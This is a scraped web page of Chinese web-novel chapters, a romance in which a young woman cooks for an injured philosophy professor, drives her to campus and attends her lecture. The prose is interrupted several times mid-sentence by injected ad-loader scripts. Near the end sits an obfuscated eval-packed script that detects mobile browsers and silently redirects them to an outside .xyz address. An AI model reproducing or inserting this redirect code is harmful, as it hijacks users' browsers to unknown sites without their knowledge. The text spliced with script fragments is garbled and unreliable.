江羡寒打开小饭盒的盖子,里面装着一碗淡黄色的蒸蛋,另一个饭盒打开,是一碗汤面,做饭的人还贴心地给她分装开来。 饭盒打开后,浓郁的鲜香味扑鼻而来。 季裴很细心,没有给她放任何辣椒,她记得对方是个无辣不欢的人,没想到居然也会做这种清淡的食物。 江羡寒拿出筷子和调羹,尝了一口那碗黄澄澄的蒸蛋。 入口即化,口腔内充斥着一股浓郁的蛋香味,似乎还带着一点鲜甜。 江羡寒的目光落在忽闪忽现的手机屏幕上,打开来看,是季裴发来的消息。 这些消息都是发给冬日的。 季风:【老婆,我错了】 江羡寒放下筷子,喝了一口金黄的鸡汤,竟然不输那些国内顶尖大厨的手艺。 但是这碗面,是季裴做给江羡寒的,并不是给冬日的。 江羡寒似乎陷入了一丝丝的苦恼当中,她开始怀疑自己的行为,而又头疼未来可能发生的事情。 她把蒸蛋和汤面都吃得干干净净,连一滴汤汁都不剩。 当她正准备一只脚站起来去厨房洗碗,别墅门开了,一个打扮朴素的保姆走了进来,朝着江羡寒微笑。 “您好,您是江教授吧,我是季小姐请来照顾您的保姆,您叫我王妈就行了。” 江羡寒点点头,王妈马上把她面前的饭盒收拾干净,又开始打扫卫生。 这栋别墅虽然几个月没住人,但是每星期都会有专人过来打扫,江羡寒可以直接住在里面。 但是季裴临走之前,好像没有跟她说睡在哪个房间。 王妈收好轮椅放在墙角,见江羡寒脚上缠绕的冰袋都化了,伸出手准备帮她拿掉换新的。 那只手即将触碰到江羡寒的脚,她赶紧伸出手制止了。 “谢谢你,这个我自己来。” 她并不喜欢和陌生人有肢体触碰,就算是熟人的接触都比较抗拒。 老友们总是说她矫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情,没准儿哪一天碰到真正喜欢的,黏上人家撕都撕不开。 看来这句话还真的应验了,她觉得自己的精神早已不受肉/体控制,试图朝着那个人飞过去。 用通俗易懂的话来讲,她想季裴了。 江羡寒深吸一口气,拿掉毛巾,接过王妈拿过来的冰袋,学着季裴刚才的样子,把冰袋用毛巾包裹起来。 季裴给她缠毛巾的时候,还挺有仪式感,不知道从哪拿出来一根粉色丝带,把毛巾系在她的脚踝上,还打了个漂亮的蝴蝶结。 江羡寒没看清楚季裴是怎么系蝴蝶结的,自己尝试了好一会儿,发现都不怎么好看,结果右腿都压麻了。 王妈是季裴叫来专门照顾江羡寒的,听说她是A大的教授,厉害得不得了,所以就格外敬重。 “江教授,您现在要去洗漱吗?我扶您过去吧。” “再等一会吧,您可以先去休息,我有事再叫你。” 王妈欲言又止,盯着江羡寒的脚看:“江教授,扭伤脚可不是什么小事,稍有不注意就会落下病根,万一我不在您身边,您又扭到怎么办?” 江羡寒:“……” · 洗漱完,江羡寒听王妈的话,睡在了收拾干净的一楼主卧。 主卧有一扇巨大的落地窗,窗外就是大片火红的枫林,只不过现在天黑,看不太清楚。 江羡寒靠在柔软的床头,四处打量着这间主卧。 应该是季裴的卧室,江羡寒见床头还摆放着一张稚嫩可爱的小女孩照片,从五官依稀能看出是季裴。 她发现季裴是等比例长大,这张照片中的小女孩唇红齿白,鼻梁高挺,眼睛又大又圆,还有婴儿肥。 如果去掉婴儿肥,和现在二十多岁的季裴根本没多大区别,是个从小美到大的美人胚子。 江羡寒用手帕擦拭着上面的灰尘,然后拿出手机拍了一张照片。 正仔细欣赏着小时候的季裴,睹物思人中,江羡寒收到了来自季风的消息。 季风:【亲爱的老婆,我告诉你一个秘密】 江羡寒将照片放在腿上,开始打字。 冬日:【你说】 季风:【就是我上次跟你说的那个女教授,很厉害的那个,她可真倒霉,没想到居然被学生给下过药!】 江羡寒:“……” 她自己怎么不知道还有这回事? 17.越界 自从江羡寒扭到脚后,叶文竹遛弯儿过来串门的次数就多了起来。 “裴裴,我来给你送花了。” 叶文竹怀里抱着一束新鲜的绿桔梗,从善如流地输入密码,一进门就嗅到一股浓郁的香气。 季裴又在做好吃的,虽然她知道是做给江羡寒吃的,但是能吃上一顿季裴做的饭,那也算是幸福了一回。 季裴上大学的时候,在学校附近租房子。 一开始她一日三餐都在学校里解决,和叶文竹上下课形影不离,后来实在是不想见到谢贞那张脸,最后连饭都不吃了。 季裴的厨艺,也就是在那个时候突飞猛进的。 叶文竹甚至觉得,季裴就是个全能型天才,绘画雕塑弹琴样样精通。 嘴上说着只会一点点,只是弄着玩而已,实际上比那些考级的人还要强得多。 不过她最喜欢的还是季裴做的饭。 为了吃季裴那口饭,叶文竹也不住宿了,赖在了季裴租的房子里,每天负责买菜刷锅洗碗。 后来季裴父母回国,见女儿居然落魄到要租房子住,直接一掷千金,买下了那座楼盘,让季裴随便住。 要不是因为公立学校无法买卖,说不定刘艳芬女士直接把学校给买下来,让季裴当校长也说不定。 “你就是无事不登三宝殿,赶紧进来吃饭。” 季裴接过那一束桔梗,低头嗅了嗅,找出一个花瓶插了进去。 桔梗容易生虫,季裴只敢把它放在餐桌上。 之前她买过一束放在床头,结果一天夜里,她发现自己手上有什么东西在爬来爬去,开灯一看,吓得她差点把手给甩出去几里地。 找到虫子来源以后,季裴连夜把那束盛开的桔梗花丢进了垃圾桶。 “你这几天过来串门就是因为这个吧,自己不做饭天天跑过来蹭吃蹭喝。” 叶文竹和季繁两人低头呼呼喝汤,季裴已经吃过了,坐在一边打包饭盒,准备给江羡寒送过去。 “你就这么一日三餐给江羡寒送啊,来来回回多麻烦,要不叫个跑腿的?” 季裴把饭盒装进手提袋:“我乐意,这几天太无聊了,我需要给自己找点事情做。” 叶文竹提议道:“我见你也闲得慌,之前宝格丽不是给你发了邀请函,让你做他们的设计师,你怎么不去干?起码能打发时间。” “不想去。” 叶文竹似乎是想到了什么,恍然大悟:“我知道了,是因为谢贞。” 谢贞确实优秀,为人处事圆滑周到,说话做事都很招上层领导喜欢,当初上学那会儿,导员就非常重视她。 就连季裴一开始的时候,也被她的外表欺骗了。 叶文竹眼珠子一转,又贡献出了一个主意。 “要不这样,你注册个美团骑手,去送外卖得了。” 季裴从来没想过这个:“能行吗?我会不会被别人投诉。” “送外卖你不喜欢,你就注册个滴滴司机,你不是喜欢开车跑来跑去,正好你车库里那么多跑车,别浪费了,一天换一辆。” 季裴听得出叶文竹是在调侃她天天跑去给江羡寒送外卖,捏着一个鸡腿塞进了叶文竹嘴里。 “吃饭还堵不上你的嘴。” · 季裴去看江羡寒的时候,对方正被王妈搀扶着坐在沙发上。 昨天冰敷了一个晚上,江羡寒肿起来的脚踝已经消下去不少,也没有昨天那么疼了。 王妈朝着季裴点了点头,然后出去了。 季裴把饭盒拿出来放在餐桌上,朝着江羡寒伸出右手。 “江教授,我扶你去餐桌吃饭吧。” 江羡寒轻轻地握住季裴的右手,借力站了起来,被季裴搀扶着手臂,缓缓朝着餐桌走过去。 其实她的脚踝已经不痛了,还喷了药,现在一瘸一拐勉强能走一段路。 不过为了防止后遗症,江羡寒还是觉得需要依靠季裴,万一她自己一个人走路,又扭到该怎么办。 一想到这里,江羡寒顿时就心安理得起来,她坐在餐桌旁,见季裴今天准备了四个饭盒。 早上季裴来过一趟,给江羡寒送的是葱花饼还有瘦肉粥,再加一个圆乎乎的金黄煎蛋。 在做煎蛋之前,季裴还给江羡寒发了消息,问她吃不吃流心的。 贴心到这种程度,着实令江羡寒感到震惊。 她很想问一问季裴,是不是对所有的人都这么好。 如果真的这样问了,也许失望的还是她自己,倒不如不问。 她现在没名没份的,问这种问题属实是越界了。 盒盖打开,一碗汤一碗炒菜,还有一份热气腾腾的米饭。 季裴今天做了乳鸽汤,鱼香肉丝,还有一份蒜蓉炒青菜,都是家常菜,应该不会不对江羡寒的口味。 昨天听了叶文竹给她讲的八卦后,季裴就开始格外关注江羡寒。 她看似有意无意地打量了一番江羡寒,又收回目光,拿出手机找到白茵的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 微信。 那天对方请她吃了炸串后,两人就加了微信,还没聊过天呢。 季裴:【学姐,你有没有江教授的课程表啊,能发一份给我吗】 过了半分钟,白茵回了消息。 白茵:【有的,我发你】 季裴点开课程表一看,江羡寒除了给学生上周四下午的选修课以外,周一周三周五都有课,而且她这周周一下午还有一堂公开课。 季裴心生一计,对着江羡寒露出一个人畜无害的笑容。 “江教授,我做的这些你还吃得习惯吗。” 江羡寒停下筷子,注视着季裴的眼睛:“味道非常好。” 季裴的眼睛弯了弯,对美食如此挑剔的江羡寒,居然有一天会夸她做的好吃。 · 晚上,季裴又过来送饭了,只不过这一次她的手里多了几个手提袋。 她给江羡寒买了衣服,因为她和对方身材身高都差不多,所以季裴就用自己的尺码买的。 来之前,季裴还特意把衣服送去了干洗店,洗干净打包好,江羡寒可以直接穿。 把手提袋放下后,季裴就走了。 江羡寒推着轮椅打开纸袋,发现里面装的居然是衣服,摸起来还是热热的,应该是刚刚烘干过。 她把衣服一件件拿出来看,都是适合自己的尺码,而且每一件还都撞在了她的审美上。 江羡寒抚摸着这些衣服,唇角弯了弯,吃完饭洗完澡,就迫不及待地都换上试了试。 · 第二天清晨,江羡寒洗漱完,换上了季裴给她买的新衣服。 今天有公开课,她拿出了一件浅蓝色的衬衣,之后又放了回去。 她今年已经过了三十岁,和季裴确实有年龄方面的差距。 哪怕这张脸长得不像三十岁的人,可是她总觉得自己和季裴站在一起,应该穿得显年轻一点。 今天周一,季裴还会过来给她送早餐吗。 江羡寒最后还是换了简单的白衬衫黑裤子,外面披上一件大衣,推着轮椅来到门口。 但是下一瞬间,江羡寒眸子里不易察觉的落寞,被眼神中逐渐显现的震惊所代替。 她的心脏狠狠跳了一下。 抬眼望去,季裴穿着一件驼色风衣,修身内衬的下摆塞进裤腰中,两条腿笔直修长。 背后是哗哗作响的火红枫叶林,她站在满地落叶中,朝着轮椅上的江羡寒挥挥手。 “江教授,我送你去学校。” 18.禽兽 江羡寒坐在副驾驶上,季裴把轮椅折叠起来放在后备箱里。 上了车,季裴拿出新鲜出炉的烤松饼,还有一瓶热牛奶放在江羡寒面前。 “江教授,这下就辛苦您在车上把早餐给吃了。” 江羡寒仿佛依旧沉浸在方才的震惊当中,她也没想到季裴为了她会做到这个份上。 季裴唇角上扬,心情看起来非常好,车载音响还放起了音乐,是一首舒缓的欧美电影配乐。 江羡寒忍不住问:“你怎么知道我今天有课?” “我问了白茵,她说你一三五都有课,今天还有一堂公开课,所以我一大早就起来了。” 江羡寒咬着松饼:“那你吃过早餐了吗?” 季裴点点头:“吃过了。” 很快就开车到了北门,季裴又开始了自己的“刷脸”攻略。 保安大叔笑容和蔼地走过来:“小裴呀,你又来学校玩,今天还开车过来。” 季裴朝着保安笑笑,然后拿出一个手提袋递给对方,摇下车窗。 车子在校园内缓缓行驶,江羡寒见状唇角勾起:“没想到你和保安的关系那么好。” 季裴有些不太好意思地解释说:“我之前好几次进学校,都是保安大叔给我放进来的,他们认识我。” 学校内有免费的停车位,季裴不太清楚在哪,江羡寒就给她指路。 一路上,她的这辆车遭到不少学生的围观,回头率百分百。 季裴觉得一部分原因是车身颜色,还有一部分就是她的车牌号。 正如叶文竹所说的那样,她的车牌号实在是太欠打了。 季裴一开始想着开其他车,但是这辆车已经是她所有的车里,价格最便宜的了。 她和她的车一大早就遭到了一群热心群众围观,季裴不慌不忙地把车停在车位上,下车把轮椅给退了出来。 季裴打开副驾驶车门,朝着江羡寒伸手。 “江教授,下来吧,我推你去办公室。” 她听人说江羡寒上课从不带课本,就算不带课本,也要去办公室准备一下吧。 白茵给她发消息,说自己已经在办公室等着了。 季裴推着江羡寒上了电梯,然后进了办公室。 办公室里坐着三个教授,季裴一进来就浑身不自在,尤其是所有人的目光都落在她身上的时候,她恨不得丢下江羡寒就跑。 章教授见到这样一幕扶了扶眼镜,笑着说:“哎哟,江教授今天怎么换交通工具了?” 江羡寒指着自己的右脚:“扭到了,这个人美心善的小朋友送我过来的。” 另一位女教授露出一个八卦的笑容,说:“这位小朋友也是咱们系的?怎么没见过?” 季裴笑着解释说:“我不是,我是江教授请来的护工。” 江羡寒抿着嘴唇:“好了,你们别八卦了,白茵呢,帮我准备一下PPT。” 季裴一想到是公开课,就凑到了江羡寒耳边,小声说:“江教授,我可不可以去你的公开课听讲啊?” 江羡寒抿着的嘴唇舒缓了下来,笑着问:“怎么,你想当我的托?” 季裴闻言一愣,她没想到江羡寒居然是这样的人,幽默风趣得恰到好处。 “那我不去了。” 季裴的嗓音虽然压得低,但是整个办公室的人都听得清清楚楚,刚才问她话的那两位教授相视一笑。 “好啦,我跟你开玩笑。” 江羡寒打开电脑,眼镜反射着淡淡的光,她那双凤眼微微上扬,心情看起来非常愉悦。 “等会儿你跟我一起进去,就坐第一排吧。” 季裴一听到第一排就发怵:“啊,第一排,我可不可以选个远一点的位置。” 江羡寒摇摇头,眸子里的笑意分毫不减:“不行,就坐第一排,你不是说你是我的护工么,作为护工片刻都不可以离开自己的病人,这是你的职业修养。” “我……” 季裴想反驳,但是刚才她确实当着其他教授的面,说自己是江羡寒的护工。 被江羡寒拒绝后,她脑筋一转:“第一排也行,那你不要叫我站起来回答问题,我什么都不会,太丢脸了。” 江羡寒转过去,对上季裴闪烁的大眼睛:“你上次回答得不是挺好的?” “上次?” “什么上次?” 刚才说话的章教授啃着葱油饼就过来了:“你们两个嘀嘀咕咕说什么悄悄话,也给我听听?” 季裴摇摇头:“没有,教授您听错了。” 江羡寒的公开课是第二节,季裴总觉得自己在人家办公室里呆着有点怪怪的,虽然白茵给她准备了一把椅子,季裴还是如坐针毡。 “江教授,我出去一趟,等这节课下课了再回来。” 得到了江羡寒的允许后,季裴转身就跑,出了门的一瞬间如释重负。 教授章云见季裴离开,拖着椅子就过来了,脸上震惊的表情藏都藏不住。 “江羡寒,你可真下得去手。” 江羡寒面无表情地盯着显示屏:“跟你有什么关系。” 章云一脸鄙夷:“你看你,又刻薄起来了,刚才和人家说话那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嗓音温柔得像水,我和你同事这么久,可从来都没听过你这么说话。” 江羡寒眼睛都不带眨一下:“你不配。” 在这群人的印象中,江羡寒一直都是个天赋异禀的毒舌,阴阳怪气也非常有一套。 “我看她挺年轻的,应该二十出头吧,你都三十多岁的人了,嚯嚯人家年轻貌美小姑娘,你还是人吗?” “要你管。” “我看你扭伤脚也是骗人家小姑娘的噱头吧,江教授真是好手段呐。” 章云恶狠狠地咬了一口葱油饼,磨了磨牙齿,还没来得及开口说话,江羡寒就拿出笔记本扇了扇风。 “你离我远点,我最讨厌葱油饼了。” · 季裴在外面溜达了将近一个小时,听到下课铃声响起后,悠哉悠哉地上了电梯。 她敲了敲门,推开一个缝隙后缓缓拉开门,然后朝着江羡寒走过去。 江羡寒已经整理好今天需要用的课件了,白茵提着电脑包跟在她身后。 “江教授,从这里到明德楼有点距离,我们现在就过去吧。” 江羡寒点头:“嗯,好。” 白茵推着轮椅,江羡寒的眸子微微眯着,又转过头吩咐她:“白茵,你把今天需要的课本带上。” 白茵诧异道:“江教授,您不是从来不带课本吗?” 江羡寒解释说:“今天有很多其他专业的学生,我怕他们听不明白。” “嗷,好的。” 白茵数着这些书,问:“江教授,带几本啊?” 江羡寒头也不回地说:“全部。” 白茵怀里抱着厚厚的一摞书,季裴见她差点抱不住,就接过了她的电脑包:“我给你拿电脑。” 白茵扶了扶眼镜:“谢谢谢谢,季裴同学你真是个好人。” 季裴笑了笑,转头看向江羡寒:“江教授,我推你下去吧。” 江羡寒勾起的唇角收敛起来,眸子里的满意之色差点没藏住,倒是被她的教授好友们给看了个正着。 “好。” 等这三个人走了之后,另外三位教授凑到一起,摩挲着下巴,纷纷感到惊奇。 “我说江羡寒这几天怎么叫都不出来跟我们一起玩,没想到是有了新欢。” “艳福不浅啊,这姑娘长得跟大明星似的,有教养有礼貌。” “这俩年龄差得有点多啊,我刚才听白茵喊她同学,没想到江羡寒还真有一手。” “要我说,江羡寒她就是个禽兽。” 章云摸着下巴表示赞同:“我觉得你说得对。” 19.关系 季裴推着轮椅,白茵跟在两人后面走,怀里抱着厚厚的一摞书。 她就有些纳闷了,明明之前江教授从来不带课本和资料书的,怎么今天突然又让她拿了。 该不会是因为今天季裴说要去教室坐着听讲,江教授害怕她听不懂,所以才带上这些书吧。 白茵心里美滋滋的,心说江教授还真是负责又周到,自己真是没有看错人,以后就跟定她了! 江羡寒自然没想太多,她只不过是想让季裴帮她推轮椅。 有时候,身边多出来一个非常负责的助手,确实还有点麻烦,让她没办法享受和季裴独处的二人空间。 公开课教室在三楼,季裴之前在这里上过几次课,自然也就轻车熟路。 上电梯之前,季裴没忍住凑到了江羡寒耳边,声音放得极轻。 “江教授,待会儿你可千万不要点我的名字啊,我什么都不会。” 江羡寒唇角勾起:“你上次回答得那么好,这次不给我捧场多可惜啊。” 季裴咬着下嘴唇,整张脸都快皱到一起了:“那是因为我正好翻到了那一页。” “江教授好。” “江教授。” 几名同学见到江羡寒打招呼,众人的眼神中纷纷透露出震惊之色,转过身的时候还在窃窃私语。 “江教授怎么坐轮椅了?” “江教授好像断了一条腿。” “江教授变成植物人了?” “……” 谣言传着传着就变了味道,江羡寒出车祸断腿坐轮椅还来学校上课的教师精神,已经在学校表白墙上传开了,盖起了一座座高楼。 季裴毕业一年多,加的学校表白墙还没删除,每天闲着无事就点进去看看,有没有什么最新笑料。 看到荒谬好玩的,季裴还会截图发给叶文竹,两个人凑到一起吐槽。 其中两人吐槽最多的,还是谢贞,因为她经常带着小团体对着叶文竹搞孤立。 不过叶文竹从来都没有怀疑过自己,学校那几年依旧吃好喝好,毕业后靠着积蓄开了一家花店,自己当老板,乐得清闲。 还有半分钟就要上课了,季裴推着江羡寒出了三楼电梯门。 静音车轮在地上摩擦,季裴越靠近教室,竟然开始紧张起来。 此刻她很想把轮椅递给白茵来推,但是对方怀里还抱着厚重的课本。 如果她真的这样做的话,江羡寒会怎么看她呢,她会不会觉的自己嫌弃她,不愿意推她进去。 只是推一下轮椅而已,又不是干了什么拐卖人口的事情,她那么紧张干什么,又不会坐牢。 想到这里,季裴松了一口气,不过却被江羡寒察觉到了。 “你叹气做什么?” 季裴:“……” 这都能听到? “没什么,我只是在感叹,江教授您真的……” 教室门从外面打开,季裴在看见教室内座无虚席的壮观一幕后,说话声戛然而止。 江羡寒唇角勾起:“我怎么了?” “很有魅力。” 从季裴推着轮椅进来的那一瞬间,她察觉到无数视线聚集在她和江羡寒身上,鸡皮疙瘩都要掉出来了。 季裴环视了一下周围,微微弯腰,小声说:“江教授,没位置了,要不我还是……” 江羡寒没有回答季裴,而是转头看向白茵。 “白茵,把门从里面反锁上。” 季裴:“……” 没想到有一天,她听个课还能遇上强买强卖的。 这下好了,走不了了。 季裴把江羡寒放在讲台上,准备往后走,结果被对方给叫住了。 江羡寒盯着季裴颀长的背影,面无表情:“前面还有位置,你要去哪儿?” 白茵恰好打开了讲台上的扩音器,江羡寒说的话传遍了整个教室。 季裴得到的好奇打量越来越多,她恨不得找个老鼠洞钻进去。 白茵搬了一个小板凳,放在第一排的桌子旁边,笑着说:“季裴同学,你快点坐下吧,江教授要开始讲课了。” 季裴尽量减少自己的存在感,她老老实实地坐下,但是不妙的是,她坐的那个位置恰好是整个教室的视线聚集中心。 早知道就把帽子和口罩一起戴着过来了。 江羡寒满意地看了她一眼,打开PPT开始讲课。 季裴如坐针毡,背后那一帧帧的目光看得她如芒在背,只好朝着身边的同学打了个招呼。 “同学你好,请问你们可不可以往里面稍微挤一挤。” 这个女生从季裴一进来就一直盯着对方看,如今季裴主动跟她说话,她倒开始结巴起来。 “可……可以的。” 江羡寒目光如炬,见这个往里面挪动的女生,藏在头发里的耳朵都红了,就轻轻咳嗽了两声。 “我的课上不允许交头接耳。” 季裴一听就知道江羡寒说的是她,只好紧紧抿住嘴唇,往里面挪了挪。 她没有书,连个做笔记的本子都没有。 季裴本想拿出手机打开备忘录,但是一想这是江羡寒的课,只好又把手机放进包里了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 见周围人都拿出笔记本在做笔记,季裴总觉得自己格格不入,趁着江羡寒不注意,她又凑到了隔壁女生耳边。 “同学,能不能借我一张纸,笔也再借我一根吧。” 金色长发女生点点头,从包里拿出笔袋,正准备撕下来一张纸给季裴。 江羡寒却在这个时候突然拿出了自己的绿色笔记本,还有一支黑笔,放在了季裴面前。 “好好听讲。” 季裴:“……” 她朝着女生尴尬一笑:“谢谢你,我现在有了。” 白茵见状,对江羡寒是越来越崇拜,一想到自己有这么好的偶像,顿时就心花怒放,恨不得倒贴工资给江羡寒上班。 身后开始有人窃窃私语,季裴听得是一清二楚。 “这个女生是谁啊?江教授亲戚吗?” “不知道,江教授好像格外关注她,不会是她妹妹吧?” “也有可能,两个人看着长得还挺像。” 季裴看了一眼腕表,距离下课时间还有一个多小时,她必须要沉得住气。 她开始研究江羡寒的笔记本,这个笔记本的外皮是绿色的,上面写着阿拉伯语,看样子有些年代感了。 笔记本打开后,第一页上没有写名字。 不过这个笔记本的使用频率并不低,江羡寒密密麻麻地做了半本的笔记。 这些字体,除了中文以外,剩下的都是英文。 季裴默念了一遍,发现这是西方哲学史的语句摘抄。 江羡寒的字第一眼看着有些秀气,仔细看不难发现其中的遒劲有力,漂亮好看,不乏文人风骨。 她写中文好看,写外语依旧漂亮,像打印出来似的。 季裴翻了一遍,忘了做笔记,她见江羡寒的目光有意无意地扫过自己,还以为对方是在提醒她做笔记。 她捏着笔开始摘抄,发现自己已经快写不好字了,就一笔一画地仿照着江羡寒的字迹。 写了半页纸,季裴满意地勾起唇角,然后鬼使神差地翻开了笔记本的第一页。 她本来想写江羡寒的名字,可是落笔第一个字就变成了季。 写完自己的名字之后,季裴还沾沾自喜地笑了一下,心说写得这么漂亮,江羡寒肯定很喜欢。 “……” 季裴捏着笔的手一顿,盯着那两个字愣住了。 这个……好像是江羡寒的笔记本啊。 季裴飞快和讲台上的江羡寒对视了一眼,心虚地低下头。 完了。 好像被她发现自己作妖了。 20.吃醋 江羡寒虽然在讲课,不过她的注意力始终都放在季裴的身上。 她见对方并没有好好听课,而是翻看她的笔记本,在上面写写画画,还露出了心虚的表情。 经过这几天的接触后,江羡寒对季裴已经了解得差不多了。 而且这种心虚的表情,江羡寒在季裴脸上看到过很多次,再熟悉不过。 她的唇角勾了勾,本来还想叫季裴站起来回答问题的。 但是现在看样子,让季裴回答问题估计会吓到对方。 江羡寒心想,还是算了,毕竟是个小孩子,她能坐到教室里听自己讲课已经很不错了。 写错名字后,季裴总觉得怪尴尬的,等会儿江羡寒问她要笔记本,看到没有经过同意就写上去的名字,该怎么办。 季裴坐立难安,就偷偷拿出了手机放在桌肚里,然后看见了季繁发来的消息 季繁:【姐姐,你怎么也来上公开课啊,不是说送完江教授就回家吗】 季裴读完消息,咬着下嘴唇,用一根指尖在手机屏幕上一个字母一个字母地输入。 季裴:【好好听课,别开小差】 季裴:【我现在是江羡寒的私人护工,未来一个星期我都会送她去学校】 季繁和同学坐在教室最后一排,她偷偷拍了一张季裴低头玩手机的照片,发给了对方。 季繁:【姐姐,你坐在最前面,小心被江教授抓到】 季裴在心里轻笑了一声,心说季繁真是个怂包,然后和江羡寒再一次对视后,还是心虚地把手机塞进了桌肚里。 能屈能伸是优良传统美德。 好不容易熬完了这堂公开课,季裴活动了两下筋骨,把笔记本整理好,端端正正地摆放在自己面前。 教室里的学生们纷纷开始退场去吃午饭,江羡寒坐在轮椅上,等所有人都离开了才走,这是她一直以来的习惯。 正当季裴以为教室里没人了,一只手伸过来拍了拍她的肩,转头一看是季繁。 季繁还是有些害怕江羡寒,她和对方打了个招呼以后,就凑到季裴耳边说:“姐姐,我和同学去吃饭了。” 季繁说完就跑,一溜烟儿的功夫就没影了。 季裴笑着站起来,走到江羡寒身后,两只手按在轮椅上。 “江教授,她害怕你,在躲你呢。” 江羡寒点点头,又听见季裴说:“以后她要是上你的课,你就天天点她,让她站起来回答问题。” 白茵闻言龇牙咧嘴,忍不住问:“季裴同学,这位同学跟你有什么仇什么怨啊?” 季裴笑了笑:“她呀,整天不好好学习,还跟我说未来做一个优秀的医生,这以后谁敢找她看病?” 白茵一听见“医生”两个字,顿感不妙,试探着说:“季裴同学,你妹妹以后在哪高就,你可一定要告诉我。” “……” · 午餐时间到。 这次季裴可算是光明正大刷了江羡寒的卡。 她和白茵找了一个僻静的角落,几乎没什么人,首先把江羡寒安顿好之后,就去排队了。 季裴上次想吃黄焖鸡米饭,一直没吃到,总觉得有点馋。 但是黄焖鸡米饭又在很远的西食堂,她没好意思说,也不好意思让坐轮椅的江羡寒陪着她跑一趟。 不就是一份黄焖鸡米饭吗,又不是不会做,回家自己做了吃,干净又卫生。 季裴还记得上次和江羡寒一起吃饭,对方吃的都是素菜,连一样荤菜都没吃。 可是她的脚扭到了,话说吃什么补什么,那她是不是应该给江羡寒买一份猪脚饭啊。 想到这里,季裴没忍住笑出声音,被白茵给听见了。 白茵一脸神秘莫测地凑过来:“笑什么啊?” 季裴小声说:“我在想,要不要给江教授来一份猪脚饭,你说她会吃吗?” 白茵摇摇头:“按照我对江教授这些年的了解,她不喜欢吃肉类食物,平时也不在学校食堂吃,生活可规律了,有时候我都觉得她是个机器人。” 季裴的目光落在远处正在静静等待的江羡寒身上。 她们之间间隔的距离有点远,季裴模糊地能看见江羡寒抬头又低下去,估计是在疑惑她和白茵为什么还没回来。 快要轮到她们两个打饭,季裴给江羡寒发了消息,问她想吃什么,还拍了张照片发过去,让江羡寒把想吃的菜发过来。 江羡寒点开小图,是季裴发来的照片。 季裴:【好多种类】 季裴:【我听白茵说你不爱吃肉,我觉得你还是要多补充点蛋白质】 季裴:【我看那个红烧排骨挺好的,给你来一份】 季裴:【不许拒绝哦】 江羡寒勾起的唇角始终不曾落下,她回了一句好,结果手机又震动了一下。 是分贝软件收到消息的提示音。 季风:【老婆,你看我们学校食堂的菜好多啊,而且很好吃】 季风:【[照片][照片]】 江羡寒点开一看,对方发过来的这两张照片,和刚才季裴给她发的一模一样。 还真是无时无刻都在报备,江羡寒心满意足地打字回答。 冬日:【很丰盛】 季风:【下次我偷偷带你进来吃,刷我妹妹的卡,我现在不是在校大学生,刷不了卡】 冬日:【好】 季裴端着两个餐盘回到座位上,江羡寒正好收起手机。 一只餐盘放在她面前,这是季裴给她买的,还真的有一份红烧排骨,还有绿油油的炒青菜。 白茵之前还跟她说江羡寒挑食,但是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13938751|146291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给江羡寒送了两天的饭,也没觉得对方挑食。 她每次送过去的食物,江羡寒都吃得干干净净。 季裴还特意问过江羡寒有没有不吃的,对方每次的回答都是,做什么都吃。 季裴坐在江羡寒对面,把筷子递给她,说:“不能光吃青菜,还是要荤素搭配。” 江羡寒点头同意:“嗯,荤素搭配。” 季裴正低头吃着肉末茄子拌饭,身边一道阴影笼罩下来。 她抬头看去,只见一个染着一头粉色长发的女孩低头看着她,唇角洋溢着浅浅的笑容。 “你好,我可以坐在你身边的位置吗?” “好,可以。” 季裴没多想,挪动椅子往边上去,粉色头发的女孩放下餐盘,就坐在了她身边。 江羡寒捏着筷子的手微微一顿,她不经意地打量了一下斜对面的这个女孩,垂眸默不作声,继续吃饭。 季裴坐在左边,用右手握筷子吃饭,总是会时不时地擦到右手边女孩的手臂,所以她干脆就换了左手。 她正吃两口,就发现江羡寒的目光落在了她的左手上。 “我是左撇子,最近在练习用右手吃饭呢。” 这顿饭吃得鸦雀无声,就连爱说话的白茵也没出声,应该是被美食给折服了。 季裴吃完饭抬头,见江羡寒也已经吃完了,就自觉主动地帮她收拾好碗筷,放在了不远处的移动餐桌上。 等她回来的时候,粉色头发的女生也吃完饭了。 她的目光从季裴身上轻轻扫过,端着餐盘站起来,结果一个歪打正着,餐盘里一些剩下的汤汁,溅到了季裴的衣服上。 “对不起!” 粉发女孩一脸慌乱,拿出纸巾给季裴擦衣服,季裴却往边上躲开了。 “没关系,我自己来。” 从女孩站起来,到她手一歪,把剩饭泼到季裴身上,所有的动作和表情都被江羡寒看在眼里。 她面无表情地看着这一切,眉头微微蹙起,脸色并不好。 “是我不小心弄脏了,要不我拿去给你洗干净吧。” 这话季裴怎么觉得好像在什么地方听到过,她摇摇头笑着说:“没事的,只是一点点,擦一擦就好了。” “可是你这件衣服是香奈儿的啊,不洗会坏掉的。” 季裴随口回答:“我这是假货。” 她的目光落在原地,发现江羡寒已经不见了,只留下一个落寞的背影,朝着前方缓缓行驶。 季裴绕过粉发女孩几步追了上去,一只手抓住轮椅。 “江教授,你怎么自己推着轮椅就走了?” 江羡寒从包里拿出纸巾,见到那块深色的污渍后,十分自然地捏住衣角,帮她轻轻擦拭干净。 季裴低着头站在原地,有些不知所措。 21.冷汗 江羡寒手里还捏着那张粘了汤汁的纸巾,目光朝着周围看去,似乎是在找垃圾桶。 “谢谢江教授。” 季裴愣了许久,最终还是接过了那张纸巾,丢在了身边的垃圾桶里。 